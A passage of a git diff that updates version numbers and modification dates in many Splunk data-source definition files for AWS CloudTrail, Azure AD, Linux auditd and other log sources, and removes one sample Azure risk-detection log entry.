b/data_sources/aws_cloudtrail_modifyimageattribute.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ModifyImageAttribute id: 667c2115-8082-419e-b541-8150066bda4d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the attributes of an Amazon Machine Image (AMI) are modified. mitre_components: diff --git a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml index 00170dd6eb..aa2c21fd37 100644 --- a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ModifySnapshotAttribute id: 7e5aa947-3a0d-4ee5-b800-0c10b555da05 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when modifications are made to the attributes of a snapshot in AWS CloudTrail. mitre_components: diff --git a/data_sources/aws_cloudtrail_putbucketlifecycle.yml b/data_sources/aws_cloudtrail_putbucketlifecycle.yml index 20bb2cce75..bea88ddbff 100644 --- a/data_sources/aws_cloudtrail_putbucketlifecycle.yml +++ b/data_sources/aws_cloudtrail_putbucketlifecycle.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail PutBucketLifecycle id: 1c73e954-87b6-4bd7-ac6a-5db7c4082b22 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a lifecycle configuration is added to an S3 bucket in AWS CloudTrail. mitre_components: diff --git a/data_sources/aws_cloudtrail_putimage.yml b/data_sources/aws_cloudtrail_putimage.yml index d4794cfd7b..511a797e6a 100644 --- a/data_sources/aws_cloudtrail_putimage.yml +++ b/data_sources/aws_cloudtrail_putimage.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail PutImage id: bb13f10d-0d8c-4fde-9136-b7cfd930e87c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a container image is uploaded to a repository in AWS CloudTrail. mitre_components: diff --git a/data_sources/aws_cloudtrail_putkeypolicy.yml b/data_sources/aws_cloudtrail_putkeypolicy.yml index 1ef95b9b54..a0d618c3b3 100644 --- a/data_sources/aws_cloudtrail_putkeypolicy.yml +++ b/data_sources/aws_cloudtrail_putkeypolicy.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail PutKeyPolicy id: 9c54c86b-43b9-4bb8-915d-6838beb7f07c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes made to AWS Key Management Service (KMS) key policies, including updates and permission assignments. mitre_components: diff --git a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml index 91c53d18fc..20a3a1a0ea 100644 --- a/data_sources/aws_cloudtrail_replacenetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_replacenetworkaclentry.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ReplaceNetworkAclEntry id: db0c240e-3754-40e4-86ef-cde018ee9f65 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a network ACL entry is replaced within the AWS CloudTrail. mitre_components: diff --git a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml index b144a497c6..89c12de77c 100644 --- a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml +++ b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail SetDefaultPolicyVersion id: 06e0b5a0-8d36-485e-befc-4ae79d77ef6c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the default version of a resource policy in AWS is set or changed. mitre_components: diff --git a/data_sources/aws_cloudtrail_stoplogging.yml b/data_sources/aws_cloudtrail_stoplogging.yml index 05a65084d8..fe96e1a485 100644 --- a/data_sources/aws_cloudtrail_stoplogging.yml +++ b/data_sources/aws_cloudtrail_stoplogging.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail StopLogging id: c5de7c54-4809-4659-bf9f-3bacf8bdfd35 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a cloud service in AWS, such as CloudTrail, is deactivated or stopped. mitre_components: diff --git a/data_sources/aws_cloudtrail_updateloginprofile.yml b/data_sources/aws_cloudtrail_updateloginprofile.yml index 7eceac02b6..bdf87efbbc 100644 --- a/data_sources/aws_cloudtrail_updateloginprofile.yml +++ b/data_sources/aws_cloudtrail_updateloginprofile.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail UpdateLoginProfile id: 1db79158-e5d3-4d35-9d3c-586e44e09f1c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an IAM user's login profile is updated. mitre_components: diff --git a/data_sources/aws_cloudtrail_updatetrail.yml b/data_sources/aws_cloudtrail_updatetrail.yml index a65e3b8bc2..7cd3ef6a9b 100644 --- a/data_sources/aws_cloudtrail_updatetrail.yml +++ b/data_sources/aws_cloudtrail_updatetrail.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail UpdateTrail id: d5b7a1eb-711a-4c96-aa93-235fe3c8a939 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an AWS CloudTrail trail is updated, typically involving changes to settings or configuration. mitre_components: diff --git a/data_sources/azure_active_directory.yml b/data_sources/azure_active_directory.yml index 5c80ad8b47..dbfaeaa943 100644 --- a/data_sources/azure_active_directory.yml +++ b/data_sources/azure_active_directory.yml @@ -1,8 +1,8 @@ name: Azure Active Directory id: 51ca21e5-bda2-4652-bb29-27c7bc18a81c -version: 2 +version: 3 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: All Azure Active Directory events source: Azure AD @@ -141,6 +141,5 @@ output_fields: - src - vendor_account - vendor_product - example_log: | {"time": "8/2/2023 1:08:44 PM", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/microsoft.aadiam", "operationName": "User Risk Detection", "operationVersion": "1.0", "category": "UserRiskEvents", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "72.43.122.40", "correlationId": "efa2cb19d58a7a6a1424c692ca5202552ab1d0025d0e933e442193fc945a6bc6", "identity": "ava.brown", "Level": 4, "location": "us", "properties": {"id": "efa2cb19d58a7a6a1424c692ca5202552ab1d0025d0e933e442193fc945a6bc6", "requestId": "14066cab-a7bf-4e12-ba3d-17a026373700", "correlationId": "20afe6ab-d103-42c9-a810-97c25b61b279", "riskType": "maliciousIPAddress", "riskEventType": "maliciousIPAddress", "riskState": "atRisk", "riskLevel": "high", "riskDetail": "none", "source": "IdentityProtection", "detectionTimingType": "offline", "activity": "signin", "ipAddress": "72.43.122.40", "location": {"city": "New York", "state": "New York", "countryOrRegion": "US", "geoCoordinates": {"altitude": 0.0, "latitude": 0, "longitude": -0}}, "activityDateTime": "2023-08-01T19:55:29.638Z", "detectedDateTime": "2023-08-02T9:12:15.353Z", "lastUpdatedDateTime": "2023-08-02T13:08:44.445Z", "userId": "bd4a5efd-ffd5-4e27-9d7d-96e9094a74ec", "userDisplayName": "Ava.Brown", "userPrincipalName": "Ava.Brown@splunkresearch.com", "additionalInfo": "[{\"Key\":\"userAgent\",\"Value\":\"Mozilla/5.0 (Macintosh; Darwin 22.4.0 Darwin Kernel Version 22.4.0: Mon Mar 6 21:00:17 PST 2023; root:xnu-8796.101.5~3/RELEASE_X86_64; en-US) PowerShell/7.3.4\"}]", "tokenIssuerType": "AzureAD", "resourceTenantId": null, "homeTenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "userType": "member", "crossTenantAccessType": "none"}} diff --git a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml index b7d4e31647..168c9b939e 100644 --- a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml +++ b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add app role assignment to service principal id: 8b2e84cd-6db0-47e9-badc-75c17df1995f -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an application role assignment to a service principal in Azure Active Directory, including details about the role, service principal, and the user or process performing the action. mitre_components: diff --git a/data_sources/azure_active_directory_add_member_to_role.yml b/data_sources/azure_active_directory_add_member_to_role.yml index 45e9909c7a..7173631342 100644 --- a/data_sources/azure_active_directory_add_member_to_role.yml +++ b/data_sources/azure_active_directory_add_member_to_role.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add member to role id: 1660d196-127f-4678-81b2-472d51711b07 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of a member to a directory role in Azure Active Directory, including details about the role, the member added, and the user or process performing the action. mitre_components: diff --git a/data_sources/azure_active_directory_add_owner_to_application.yml b/data_sources/azure_active_directory_add_owner_to_application.yml index bc0dd728db..3f67cbb319 100644 --- a/data_sources/azure_active_directory_add_owner_to_application.yml +++ b/data_sources/azure_active_directory_add_owner_to_application.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add owner to application id: e895ed56-7be4-4b3a-b782-ecd0f594ec4c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an owner to an application in Azure Active Directory, including details about the application, the owner added, and the user or process performing the action. mitre_components: diff --git a/data_sources/azure_active_directory_add_service_principal.yml b/data_sources/azure_active_directory_add_service_principal.yml index de82af542f..13d82b6509 100644 --- a/data_sources/azure_active_directory_add_service_principal.yml +++ b/data_sources/azure_active_directory_add_service_principal.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add service principal id: fd89d337-e4c0-4162-ad13-bca36f096fe6 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new service principal in Azure Active Directory, including details about the service principal, associated application, and the user or process performing the action. mitre_components: diff --git a/data_sources/azure_active_directory_add_unverified_domain.yml b/data_sources/azure_active_directory_add_unverified_domain.yml index d56503b322..4ec0f2cc85 100644 --- a/data_sources/azure_active_directory_add_unverified_domain.yml +++ b/data_sources/azure_active_directory_add_unverified_domain.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add unverified domain id: d4c01fb1-3b88-46d3-bd12-9b9e256450f7 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an unverified domain to Azure Active Directory, including details about the domain name and the user or process performing the action. mitre_components: diff --git a/data_sources/azure_active_directory_consent_to_application.yml b/data_sources/azure_active_directory_consent_to_application.yml index 70fc143b21..5881aa30f0 100644 --- a/data_sources/azure_active_directory_consent_to_application.yml +++ b/data_sources/azure_active_directory_consent_to_application.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Consent to application id: 4c5d6c49-53e3-4980-a4de-c63e26291ed0 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs user or admin consent to an application's permissions in Azure Active Directory, including details about the application, granted permissions, and the consenting user or process. mitre_components: diff --git a/data_sources/azure_active_directory_disable_strong_authentication.yml b/data_sources/azure_active_directory_disable_strong_authentication.yml index d8c889b876..12b7838938 100644 --- a/data_sources/azure_active_directory_disable_strong_authentication.yml +++ b/data_sources/azure_active_directory_disable_strong_authentication.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Disable Strong Authentication id: 8f31966d-c496-496d-8837-f7fd11f31255 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when strong authentication methods are disabled in Azure Active Directory. mitre_components: diff --git a/data_sources/azure_active_directory_enable_account.yml b/data_sources/azure_active_directory_enable_account.yml index 605177e4a2..19eddcaf33 100644 --- a/data_sources/azure_active_directory_enable_account.yml +++ b/data_sources/azure_active_directory_enable_account.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Enable account id: cb49f3cd-04ad-415c-a5ed-9b27b2829fa7 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an Azure Active Directory account is enabled. mitre_components: diff --git a/data_sources/azure_active_directory_invite_external_user.yml b/data_sources/azure_active_directory_invite_external_user.yml index 55148faa4e..4e3590ab85 100644 --- a/data_sources/azure_active_directory_invite_external_user.yml +++ b/data_sources/azure_active_directory_invite_external_user.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Invite external user id: d3818bd5-f283-4518-8b67-df19240c3e40 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an external user is invited to join an Azure Active Directory tenant. mitre_components: diff --git a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml index 77a0f882b7..f31f6ffd1b 100644 --- a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml +++ b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml @@ -1,8 +1,8 @@ name: Azure Active Directory MicrosoftGraphActivityLogs id: 63ff93ba-2bbb-4542-8773-239bf5266367 -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Azure Active Directory MicrosoftGraphActivityLogs source: Azure AD diff --git a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml index 146006b4c4..bec8a1a23a 100644 --- a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml +++ b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml @@ -1,8 +1,8 @@ name: Azure Active Directory NonInteractiveUserSignInLogs id: 11fe8a43-164d-47e4-b542-afc2f242068b -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Azure Active Directory NonInteractiveUserSignInLogs source: Azure AD diff --git a/data_sources/azure_active_directory_reset_password_(by_admin).yml b/data_sources/azure_active_directory_reset_password_(by_admin).yml index e34a4e6120..e66f2043c8 100644 --- a/data_sources/azure_active_directory_reset_password_(by_admin).yml +++ b/data_sources/azure_active_directory_reset_password_(by_admin).yml @@ -1,8 +1,8 @@ name: Azure Active Directory Reset password (by admin) id: dcd0e4dc-68f8-4b77-a66f-89c57b3afa6b -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an admin resets a user's password in Azure Active Directory. mitre_components: diff --git a/data_sources/azure_active_directory_set_domain_authentication.yml b/data_sources/azure_active_directory_set_domain_authentication.yml index 81724e9e7f..93f1671ec1 100644 --- a/data_sources/azure_active_directory_set_domain_authentication.yml +++ b/data_sources/azure_active_directory_set_domain_authentication.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Set domain authentication id: e7bcdab9-908c-40ab-ba38-5db54fa87750 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the authentication method for a domain in Azure Active Directory is set or modified. mitre_components: diff --git a/data_sources/azure_active_directory_sign_in_activity.yml b/data_sources/azure_active_directory_sign_in_activity.yml index 0079fa8726..ffe3738006 100644 --- a/data_sources/azure_active_directory_sign_in_activity.yml +++ b/data_sources/azure_active_directory_sign_in_activity.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Sign-in activity id: f9ed0a3a-9e20-4198-a035-d0a29593fbe0 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user attempts to sign into Azure Active Directory, capturing authentication details and outcomes. mitre_components: diff --git a/data_sources/azure_active_directory_update_application.yml b/data_sources/azure_active_directory_update_application.yml index 0ef9bf5f4d..da5c83a373 100644 --- a/data_sources/azure_active_directory_update_application.yml +++ b/data_sources/azure_active_directory_update_application.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Update application id: 2c08188a-ba25-496e-87c7-803cf28b6c90 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an application in Azure Active Directory is updated, such as changes to its settings or permissions. mitre_components: diff --git a/data_sources/azure_active_directory_update_authorization_policy.yml b/data_sources/azure_active_directory_update_authorization_policy.yml index d7c5e87d2c..aeb2f7b214 100644 --- a/data_sources/azure_active_directory_update_authorization_policy.yml +++ b/data_sources/azure_active_directory_update_authorization_policy.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Update authorization policy id: c5b7ffcd-73d8-4fe5-afd8-b1218d715c0c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an authorization policy is updated in Azure Active Directory. mitre_components: diff --git a/data_sources/azure_active_directory_update_user.yml b/data_sources/azure_active_directory_update_user.yml index 71e11d6175..8be4f4770e 100644 --- a/data_sources/azure_active_directory_update_user.yml +++ b/data_sources/azure_active_directory_update_user.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Update user id: 5495c90a-047c-4b8e-b2fe-1db6282d3872 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account is updated in Azure Active Directory. mitre_components: diff --git a/data_sources/azure_active_directory_user_registered_security_info.yml b/data_sources/azure_active_directory_user_registered_security_info.yml index 56d95c13b7..c7a81bef69 100644 --- a/data_sources/azure_active_directory_user_registered_security_info.yml +++ b/data_sources/azure_active_directory_user_registered_security_info.yml @@ -1,8 +1,8 @@ name: Azure Active Directory User registered security info id: b63240de-8a01-4ba8-8987-89d18d4b375d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user registers or updates their security information in Azure Active Directory. mitre_components: diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml index 77790fb1a5..fa431235b6 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml @@ -1,8 +1,8 @@ name: Azure Audit Create or Update an Azure Automation account id: 2ab182e7-feda-4249-9418-32710b55a885 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an Azure Automation account is created or updated. mitre_components: diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml index 2fc96605de..f91d7d52d8 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_runbook.yml @@ -1,8 +1,8 @@ name: Azure Audit Create or Update an Azure Automation Runbook id: 2bd83221-7a8b-436f-9b2b-efa1d44d009e -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a new Azure Automation Runbook is created or an existing one is updated. mitre_components: diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml index 09b1af46c6..2fb264a4b1 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_webhook.yml @@ -1,8 +1,8 @@ name: Azure Audit Create or Update an Azure Automation webhook id: 575faeb2-09d0-4849-b1f6-eae241f26ff2 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a webhook is created or updated in Azure Automation. mitre_components: diff --git a/data_sources/azure_monitor_activity.yml b/data_sources/azure_monitor_activity.yml index 80b007b034..6a32f69e8b 100644 --- a/data_sources/azure_monitor_activity.yml +++ b/data_sources/azure_monitor_activity.yml @@ -1,8 +1,8 @@ name: Azure Monitor Activity id: 1997a515-a61a-4f78-ada9-54af34c764f2 -version: 2 +version: 3 creation_date: '2025-01-13' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Azure Monitor Activity. The Splunk Add-on for Microsoft Cloud Services add-on is required to ingest In-Tune audit logs via Azure EventHub. To configure this logging, visit Intune > Tenant administration > Diagnostic settings > Add diagnostic settings & send events to the activity audit event hub. source: Azure AD diff --git a/data_sources/crowdstrike_falcon_stream_alert.yml b/data_sources/crowdstrike_falcon_stream_alert.yml index 12fd5f91a7..fbf131357c 100644 --- a/data_sources/crowdstrike_falcon_stream_alert.yml +++ b/data_sources/crowdstrike_falcon_stream_alert.yml @@ -1,8 +1,8 @@ name: CrowdStrike Falcon Stream Alert id: 52b38751-b0db-4965-a800-ebaabd1fd7d5 -version: 2 +version: 3 creation_date: '2025-07-01' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Bryan Pluta, Splunk description: Logs of CrowdStrike Falcon Stream Alerts mitre_components: diff --git a/data_sources/g_suite_gmail.yml b/data_sources/g_suite_gmail.yml index c86a5f183a..fe8a942041 100644 --- a/data_sources/g_suite_gmail.yml +++ b/data_sources/g_suite_gmail.yml @@ -1,8 +1,8 @@ name: G Suite Gmail id: 706c3978-41de-406b-b6e0-75bd01e12a5d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs Gmail activities in G Suite, including email sending, receiving, and access details, as well as potential security-related events. mitre_components: diff --git a/data_sources/google_workspace.yml b/data_sources/google_workspace.yml index a55a0029b8..c16182671c 100644 --- a/data_sources/google_workspace.yml +++ b/data_sources/google_workspace.yml @@ -1,8 +1,8 @@ name: Google Workspace id: f1a044e3-113a-4e4d-84f2-b153ade83087 -version: 2 +version: 3 creation_date: '2024-07-16' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Google Workspace source: google_workspace diff --git a/data_sources/linux_auditd_add_user.yml b/data_sources/linux_auditd_add_user.yml index b93581d448..d8fb174412 100644 --- a/data_sources/linux_auditd_add_user.yml +++ b/data_sources/linux_auditd_add_user.yml @@ -1,8 +1,8 @@ name: Linux Auditd Add User id: 30f79353-e1d2-4585-8735-1e0359559f3f -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs activities related to the addition of a new user account on a Linux system, including details about the username, UID, and the process initiating the action. mitre_components: diff --git a/data_sources/linux_auditd_cwd.yml b/data_sources/linux_auditd_cwd.yml index ef8068eb7e..22e70bc240 100644 --- a/data_sources/linux_auditd_cwd.yml +++ b/data_sources/linux_auditd_cwd.yml @@ -1,8 +1,8 @@ name: Linux Auditd Cwd id: a9ef851b-d864-478b-b1b3-76535d7ff7fc -version: 2 +version: 3 creation_date: '2025-12-02' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Nasreddine Bencherchali, Splunk description: This type is used to record the working directory from which the process that invoked the system call specified in the first record was executed. The purpose of this record is to record the current process's location in case a relative path winds up being captured in the associated PATH record. This way the absolute path can be reconstructed. source: auditd diff --git a/data_sources/linux_auditd_daemon_abort.yml b/data_sources/linux_auditd_daemon_abort.yml index 5aa7d0e2a3..d866d06196 100644 --- a/data_sources/linux_auditd_daemon_abort.yml +++ b/data_sources/linux_auditd_daemon_abort.yml @@ -1,8 +1,8 @@ name: Linux Auditd Daemon Abort id: cc8b3bb0-0fae-4236-9c61-fe2d7138bd63 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the auditd daemon status. mitre_components: diff --git a/data_sources/linux_auditd_daemon_end.yml b/data_sources/linux_auditd_daemon_end.yml index 8d4da5e77c..6434f26e27 100644 --- a/data_sources/linux_auditd_daemon_end.yml +++ b/data_sources/linux_auditd_daemon_end.yml @@ -1,8 +1,8 @@ name: Linux Auditd Daemon End id: 15135c45-e302-4d5a-a38a-3e8279f2ebd8 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the auditd daemon status. mitre_components: diff --git a/data_sources/linux_auditd_daemon_start.yml b/data_sources/linux_auditd_daemon_start.yml index 13d96e9f81..72b06b1855 100644 --- a/data_sources/linux_auditd_daemon_start.yml +++ b/data_sources/linux_auditd_daemon_start.yml @@ -1,8 +1,8 @@ name: Linux Auditd Daemon Start id: f1b97407-ddf0-41a5-8685-ada05aae3555 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the auditd daemon status. mitre_components: diff --git a/data_sources/linux_auditd_execve.yml b/data_sources/linux_auditd_execve.yml index d5aa6954d8..a4dfed271d 100644 --- a/data_sources/linux_auditd_execve.yml +++ b/data_sources/linux_auditd_execve.yml @@ -1,8 +1,8 @@ name: Linux Auditd Execve id: 9ef6364d-cc67-480e-8448-3306829a6a24 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the executed command, arguments, and the initiating process. mitre_components: diff --git a/data_sources/linux_auditd_path.yml b/data_sources/linux_auditd_path.yml index 25cfe79e88..4e6010d10c 100644 --- a/data_sources/linux_auditd_path.yml +++ b/data_sources/linux_auditd_path.yml @@ -1,8 +1,8 @@ name: Linux Auditd Path id: 3d86125c-0496-4a5a-aae3-0d355a4f3d7d -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs file system access events on a Linux system, including details about file paths, permissions, and associated processes. mitre_components: diff --git a/data_sources/linux_auditd_proctitle.yml b/data_sources/linux_auditd_proctitle.yml index 895256a4ed..e1319484f1 100644 --- a/data_sources/linux_auditd_proctitle.yml +++ b/data_sources/linux_auditd_proctitle.yml @@ -1,8 +1,8 @@ name: Linux Auditd Proctitle id: 5a25984a-2789-400a-858b-d75c923e06b1 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the full command-line arguments of a process execution on a Linux system, providing visibility into the executed command and its parameters. mitre_components: diff --git a/data_sources/linux_auditd_service_stop.yml b/data_sources/linux_auditd_service_stop.yml index ffaf15abc1..5c18ea7a91 100644 --- a/data_sources/linux_auditd_service_stop.yml +++ b/data_sources/linux_auditd_service_stop.yml @@ -1,8 +1,8 @@ name: Linux Auditd Service Stop id: 0643483c-bc62-455c-8d6e-1630e5f0e00d -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs events related to the stoppage of a service on a Linux system, including details about the service name, the process initiating the stop, and associated timestamps. mitre_components: diff --git a/data_sources/linux_secure.yml b/data_sources/linux_secure.yml index c1b479db0d..1705d20c30 100644 --- a/data_sources/linux_secure.yml +++ b/data_sources/linux_secure.yml @@ -1,8 +1,8 @@ name: Linux Secure id: 9a47d88b-1b17-49ce-a0ef-b440ddbd98bb -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs authentication and authorization events on a Linux system, including login attempts, SSH connections, and privilege escalation activities. mitre_components: diff --git a/data_sources/m365_copilot_graph_api.yml b/data_sources/m365_copilot_graph_api.yml index 762ef3e972..90f153787c 100644 --- a/data_sources/m365_copilot_graph_api.yml +++ b/data_sources/m365_copilot_graph_api.yml @@ -1,8 +1,8 @@ name: M365 Copilot Graph API id: 30dd2202-869c-47fb-ad37-4f4d4c93c6b7 -version: 2 +version: 3 creation_date: '2025-10-13' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Rod Soto, Splunk description: Access Logs from M365 